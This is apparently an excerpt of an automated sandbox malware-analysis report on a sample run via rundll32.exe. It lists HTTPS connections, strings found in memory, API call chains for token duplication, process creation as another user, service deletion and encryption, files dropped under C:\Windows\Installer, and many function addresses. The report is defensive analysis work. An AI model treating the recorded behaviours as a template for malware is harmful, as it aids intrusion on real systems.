Source: svchost.exe, 00000000.00000003.1428145464.0000026B7822D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446191210.0000026B7822B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49741 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046A664C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

6_2_046A664C

Source: C:\Windows\System32\rundll32.exe

Code function: 39_2_000001C9C85B1420 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

39_2_000001C9C85B1420

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD9773420 OpenSCManagerA,OpenServiceW,CloseServiceHandle,DeleteService,CloseServiceHandle,CloseServiceHandle,

33_2_0000021BD9773420

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD978B1D0 WTSQueryUserToken,GetCurrentProcess,OpenProcessToken,WTSQueryUserToken,GetCurrentProcess,OpenProcessToken,GetTokenInformation,CloseHandle,DuplicateTokenEx,CloseHandle,CloseHandle,CreateProcessAsUserW,CloseHandle,CloseHandle,DestroyEnvironmentBlock,CloseHandle,CloseHandle,CloseHandle,

33_2_0000021BD978B1D0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A1130 SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,lstrcpynW,lstrcpynW,GetCommandLineW,lstrcpynW,GetModuleHandleW,CharNextW,lstrcpynW,GetTempPathW,GetTempPathW,lstrcatW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcpynW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,lstrcpynW,lstrcpynW,DeleteFileW,CopyFileW,CloseHandle,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,lstrcpynW,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,CloseHandle,FreeLibrary,GlobalFree,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,	6_2_046A1130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E1130 SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,lstrcpynW,lstrcpynW,GetCommandLineW,lstrcpynW,GetModuleHandleW,CharNextW,lstrcpynW,GetTempPathW,GetTempPathW,lstrcatW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcpynW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,lstrcpynW,lstrcpynW,DeleteFileW,CopyFileW,CloseHandle,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,lstrcpynW,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,CloseHandle,FreeLibrary,GlobalFree,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,	7_2_045E1130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03451130 SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,lstrcpynW,lstrcpynW,GetCommandLineW,lstrcpynW,GetModuleHandleW,CharNextW,lstrcpynW,GetTempPathW,GetTempPathW,lstrcatW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcpynW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,lstrcpynW,lstrcpynW,DeleteFileW,CopyFileW,CloseHandle,lstrcatW,lstrlenW,lstrcmpiW,GetFileAttributesW,lstrcpynW,LoadImageW,RegisterClassW,SystemParametersInfoW,CreateWindowExW,CloseHandle,FreeLibrary,GlobalFree,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,	15_2_03451130

Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\c23a32abd836342a70b7f6c1aa74947e.2.E	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\c23a32abd836342a70b7f6c1aa74947e.2	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\66f120532d0318a6a449e3c438427a15.2	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\66f120532d0318a6a449e3c438427a15.2.E	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\Installer\{f4b964cf-1b7a-aa88-03cb-3533f33b6987}\2e04d05a72bbb297aebc410e888a6ad5	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A3488	6_2_046A3488
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B2710	6_2_046B2710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A1130	6_2_046A1130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A1B42	6_2_046A1B42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B5C20	6_2_046B5C20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046BCC20	6_2_046BCC20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C0574	6_2_046C0574
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A5DA1	6_2_046A5DA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046BA5BB	6_2_046BA5BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046ADF40	6_2_046ADF40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C2008	6_2_046C2008
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A5887	6_2_046A5887
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C9150	6_2_046C9150
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B11F0	6_2_046B11F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C39D9	6_2_046C39D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C7994	6_2_046C7994
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A7222	6_2_046A7222
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A9220	6_2_046A9220
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A6AA5	6_2_046A6AA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B1390	6_2_046B1390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E3488	7_2_045E3488
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F2710	7_2_045F2710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E1130	7_2_045E1130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E1B42	7_2_045E1B42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F5C20	7_2_045F5C20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045FCC20	7_2_045FCC20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04600574	7_2_04600574
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045FA5BB	7_2_045FA5BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E5DA1	7_2_045E5DA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045EDF40	7_2_045EDF40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04602008	7_2_04602008
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E5887	7_2_045E5887
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04609150	7_2_04609150
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F11F0	7_2_045F11F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_046039D9	7_2_046039D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04607994	7_2_04607994
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E7222	7_2_045E7222
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E9220	7_2_045E9220
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E6AA5	7_2_045E6AA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F1390	7_2_045F1390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03451B42	15_2_03451B42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03451130	15_2_03451130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03462710	15_2_03462710
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03453488	15_2_03453488
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03461390	15_2_03461390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03459220	15_2_03459220
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03457222	15_2_03457222
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03456AA5	15_2_03456AA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03479150	15_2_03479150
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_034739D9	15_2_034739D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_034611F0	15_2_034611F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03477994	15_2_03477994
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03472008	15_2_03472008
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03455887	15_2_03455887
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0345DF40	15_2_0345DF40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03470574	15_2_03470574
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03455DA1	15_2_03455DA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0346A5BB	15_2_0346A5BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03465C20	15_2_03465C20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0346CC20	15_2_0346CC20
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9431090	33_2_0000021BD9431090
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9438800	33_2_0000021BD9438800
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9446018	33_2_0000021BD9446018
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9445038	33_2_0000021BD9445038
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD943E39C	33_2_0000021BD943E39C
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9434360	33_2_0000021BD9434360
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD943F610	33_2_0000021BD943F610
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD94379C0	33_2_0000021BD94379C0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD94461D8	33_2_0000021BD94461D8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD94461E0	33_2_0000021BD94461E0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD94455E3	33_2_0000021BD94455E3
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9436164	33_2_0000021BD9436164
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C1820	33_2_0000021BD97C1820
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD979C6C0	33_2_0000021BD979C6C0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97717B0	33_2_0000021BD97717B0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD979676C	33_2_0000021BD979676C
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD978E758	33_2_0000021BD978E758
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D173C	33_2_0000021BD97D173C
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9786A20	33_2_0000021BD9786A20
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97BBA94	33_2_0000021BD97BBA94
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C9A6C	33_2_0000021BD97C9A6C
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B5A64	33_2_0000021BD97B5A64
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A7924	33_2_0000021BD97A7924
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C6918	33_2_0000021BD97C6918
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B28E4	33_2_0000021BD97B28E4
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C28CC	33_2_0000021BD97C28CC
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A19A0	33_2_0000021BD97A19A0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A8BE8	33_2_0000021BD97A8BE8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A3C74	33_2_0000021BD97A3C74
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD977DB30	33_2_0000021BD977DB30
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9771B00	33_2_0000021BD9771B00
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97AFABC	33_2_0000021BD97AFABC
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B7B7C	33_2_0000021BD97B7B7C
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD978FB44	33_2_0000021BD978FB44
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B5E34	33_2_0000021BD97B5E34
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9789E80	33_2_0000021BD9789E80
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD979BE44	33_2_0000021BD979BE44
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C9D00	33_2_0000021BD97C9D00
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9771CD0	33_2_0000021BD9771CD0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9799024	33_2_0000021BD9799024
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9771FC0	33_2_0000021BD9771FC0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A6EE8	33_2_0000021BD97A6EE8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C9ED0	33_2_0000021BD97C9ED0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B6EC0	33_2_0000021BD97B6EC0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97AEF94	33_2_0000021BD97AEF94
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B1230	33_2_0000021BD97B1230
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D3220	33_2_0000021BD97D3220
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D3218	33_2_0000021BD97D3218
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D3210	33_2_0000021BD97D3210
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B6204	33_2_0000021BD97B6204
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D3200	33_2_0000021BD97D3200
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D31E8	33_2_0000021BD97D31E8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D31D8	33_2_0000021BD97D31D8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97931CC	33_2_0000021BD97931CC
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97922AC	33_2_0000021BD97922AC
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97BC2A4	33_2_0000021BD97BC2A4
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD979E2A0	33_2_0000021BD979E2A0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9799298	33_2_0000021BD9799298
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C4274	33_2_0000021BD97C4274
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B4128	33_2_0000021BD97B4128
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9787110	33_2_0000021BD9787110
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B3188	33_2_0000021BD97B3188
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C3150	33_2_0000021BD97C3150
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A1418	33_2_0000021BD97A1418
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97963BC	33_2_0000021BD97963BC
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD977A490	33_2_0000021BD977A490
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A8490	33_2_0000021BD97A8490
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B22E4	33_2_0000021BD97B22E4
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D32E0	33_2_0000021BD97D32E0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97752D0	33_2_0000021BD97752D0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B8368	33_2_0000021BD97B8368
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97CC348	33_2_0000021BD97CC348
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A05EC	33_2_0000021BD97A05EC
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97B05E4	33_2_0000021BD97B05E4
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C668C	33_2_0000021BD97C668C
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97C9680	33_2_0000021BD97C9680
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A564C	33_2_0000021BD97A564C
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9784520	33_2_0000021BD9784520
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97724D0	33_2_0000021BD97724D0
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97A44D8	33_2_0000021BD97A44D8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97925B8	33_2_0000021BD97925B8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD979A550	33_2_0000021BD979A550
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8851090	34_2_00000166D8851090
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8856164	34_2_00000166D8856164
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D88579C0	34_2_00000166D88579C0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D88655E3	34_2_00000166D88655E3
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D88661E0	34_2_00000166D88661E0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D885F610	34_2_00000166D885F610
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8854360	34_2_00000166D8854360
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D885E39C	34_2_00000166D885E39C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8865038	34_2_00000166D8865038
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8858800	34_2_00000166D8858800
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8866018	34_2_00000166D8866018
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F79D00	34_2_00000166D8F79D00
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F21CD0	34_2_00000166D8F21CD0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F39E80	34_2_00000166D8F39E80
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F4BE44	34_2_00000166D8F4BE44
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F65E34	34_2_00000166D8F65E34
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F5EF94	34_2_00000166D8F5EF94
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F56EE8	34_2_00000166D8F56EE8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F79ED0	34_2_00000166D8F79ED0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F66EC0	34_2_00000166D8F66EC0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F49024	34_2_00000166D8F49024
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F21FC0	34_2_00000166D8F21FC0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F63188	34_2_00000166D8F63188
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F73150	34_2_00000166D8F73150
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F64128	34_2_00000166D8F64128
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F37110	34_2_00000166D8F37110
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F49298	34_2_00000166D8F49298
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F6C2A4	34_2_00000166D8F6C2A4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F4E2A0	34_2_00000166D8F4E2A0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F74274	34_2_00000166D8F74274
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F61230	34_2_00000166D8F61230
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F83220	34_2_00000166D8F83220
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F83218	34_2_00000166D8F83218
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F83210	34_2_00000166D8F83210
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F83208	34_2_00000166D8F83208
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F83200	34_2_00000166D8F83200
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F66204	34_2_00000166D8F66204
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831F8	34_2_00000166D8F831F8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831F0	34_2_00000166D8F831F0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831E8	34_2_00000166D8F831E8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831E0	34_2_00000166D8F831E0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831D8	34_2_00000166D8F831D8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F431CC	34_2_00000166D8F431CC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831D0	34_2_00000166D8F831D0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831C8	34_2_00000166D8F831C8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F831B0	34_2_00000166D8F831B0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F68368	34_2_00000166D8F68368
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F7C348	34_2_00000166D8F7C348
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F832E0	34_2_00000166D8F832E0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F622E4	34_2_00000166D8F622E4
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F252D0	34_2_00000166D8F252D0
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F422AC	34_2_00000166D8F422AC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F2A490	34_2_00000166D8F2A490
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F58490	34_2_00000166D8F58490
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F51418	34_2_00000166D8F51418
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F463BC	34_2_00000166D8F463BC
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F4A550	34_2_00000166D8F4A550
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F34520	34_2_00000166D8F34520
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F544D8	34_2_00000166D8F544D8
